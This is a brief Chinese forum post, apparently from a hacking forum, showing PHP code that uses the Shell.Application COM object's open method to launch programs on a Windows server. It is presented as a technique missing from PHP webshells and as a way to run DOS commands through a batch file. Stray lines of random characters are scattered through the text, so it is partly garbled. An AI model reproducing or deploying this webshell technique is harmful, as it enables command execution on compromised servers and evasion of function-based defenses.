关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
* y& u9 P3 Z+ X3 I) f& C1 P5 w0 y% s% A7 S$ W
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
7 ^" m* R- ~! U5 e- Y v5 y
# V4 W* w5 P7 h<?php
' B. p4 B1 h0 Z0 Y: r; h$wsh = new COM('Shell.Application') or die("Shell.Application");' |6 S1 @) y6 T/ i. G( w* k; p
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
1 U0 {% F C( i1 ?0 |0 s) j //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。% ^; L% e7 F4 I5 o7 _( m3 Q) @4 x
?>
* _+ ~1 U S- |+ a/ H- g. @: C6 x0 j+ g8 X
xp+APMServ5.2.0测试通过。2 ^# a6 [* J- y6 H" c
|